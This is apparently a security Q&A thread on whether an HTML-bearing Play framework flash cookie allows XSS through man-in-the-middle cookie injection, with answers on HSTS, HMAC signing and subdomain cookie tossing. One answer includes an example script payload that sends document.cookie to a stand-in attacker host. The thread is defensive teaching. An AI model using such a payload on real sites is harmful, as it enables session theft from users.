Flash cookie and man-in-the-middle

Question

I am using the Scala Play web framework. In it, there is a PLAY_FLASH cookie used to flash messages to the user (it's a cookie so it will still work after several redirects).

I put HTML in the cookie so I can include links, etc.

Other details:

• The cookie is not HTTPS-only.

• I do not have a Content Security Policy.

• I do not have HTTP Strict Transport Security (yet).

A pen testing team reported this:

The PLAY_FLASH cookie can be used to XSS the user (e.g. through non-SSL MITM)

Is this correct? You could certainly use the cookie for XSS if get man-in-the-middle.

But if you get man-in-the-middle going, who cares about XSS? You have the keys to kingdom, at least for that user. Right?

Answer 1

You would normally be correct, however you cannot protect against this MITM vulnerability even if you use a secure cookie over SSL. This cookie could still be MITM'd to inject XSS. The pen test report is correct - the fact that the XSS mechanism is a cookie gives rise to the MITM vulnerability. This is because the Same Origin Policy for cookies does not treat different protocols and ports as separate origins:

cookies have scoping mechanisms that are broader and essentially incompatible with same-origin policy rules (e.g., as noted, no ability to restrict cookies to a specific host or protocol) - sometimes undoing some content security compartmentalization mechanisms that would otherwise be possible under DOM rules.

Without the cookie functionality, the XSS vulnerability has gone and so has the MITM vulnerability. I aim to explain below by example.

Say you wrote a safe link to a cookie with the secure flag set such as

<a href="https://www.example.edu/">University Link</a>

The Secure flag will prevent a MITM from reading the cookie value. However, an attacker could MITM any other HTTP connection from the victim to any other site and then insert their own resource reference to your site.

That is, say your victim visits bbc.co.uk over plain HTTP. The MITM intercepts the HTTP request to bbc.co.uk and adds a fake JavaScript resource request into the page to your site, example.com.

<script src="http://example.com/whatever.js"></script>

They would then be able to MITM this request (because it is plain HTTP) and insert a Set-Cookie header in the response. So they could set the cookie to

<script>new Image().src = 'https://evil.example.org?cookie=' + escape(document.cookie);</script>

to overwrite your secure cookie. Because to the browser the cookie is being set from your domain, it will be readable on both HTTP and HTTPS. When the user next visits your page, this cookie will be read and then rendered to the page as the server has no way of knowing that this cookie was set over HTTP. Even though the secure flag is set on your original cookie, this cookie can overwrite it and as the server only gets the name/value pairs and not the value of the secure flag, it has no way of knowing that this cookie has now been poisoned.

HTTP Strict Transport Security can protect against this as the plain HTTP connection will be automatically converted to HTTPS and then will be immune to MITM so long as the HSTS policy does not expire. Also your site would still be vulnerable before your user accesses your system using their browser, as HSTS will not yet be established for your domain unless you have it in the preloaded list. Additionally, some browsers such as Internet Explorer do not yet support HSTS.

So in short, it would be better to store these links or any text you would want rendered for the user server-side and simply store a secure token within the cookie that can be looked up within your database. This will prevent any XSS attacks using the cookie. Do not encrypt the cookie value, because if there are any ask the Oracle cryptographic flaws in your system this could still leave you vulnerable. A better approach would be to HMAC the HTML code in the cookie with a secret key held server-side, and then check this MAC is correct before any rendering. This will prevent any HTML code that is set outside of your application from being injected.

Also see Security of an initial redirection from http://example.com to https://example.com

Answer 2

Man-in-the-middle might not be the only way to manipulate the cookie. If, for example, the cookie is used for example.org and you have subdomains like user1.example.org which you either don't control or which might have XSS problems, then it will be possible to set the cookie for example.org from user1.example.org. You will probably not be able to read it, but you can change it and thus trigger XSS on example.org. Problems like this happened in the past with wordpress.com sub-domains.

Answer 3

I think the pen test team misspoke.

MITM is a much more serious threat than a XSS, because the MITM attacker can monitor and replace any of the content of your site. It's invalid to complain about the content of a site attributing a MITM attack, because the content is irrelevant to a MITM. MITM can always inject content into your site.

XSS is a client-side attack on the content of your site. An example of an XSS attack would be a form parameter which is echoed in the HTML page without validation and sanitizing. That allows an attacker to put up a web site which links to your web site, injecting content which is run inside the security domain of your web site. Thus the name, cross site scripting attack. At that point, the attacker can use scripting or other exploit users on your web site. There is no MITM. The user is always communicating with your web site. The hostile code is injected by vulnerabilities in your web site.

However, that doesn't mean you should ignore the pen test advisory. It could be that they misspoke, but there is a valid XSS vulnerability in this PLAY_FLASH cookie. For example, if the cookie is set from a parameter, exec-ed, and echoed into the web page, that could easily be exploited as an XSS.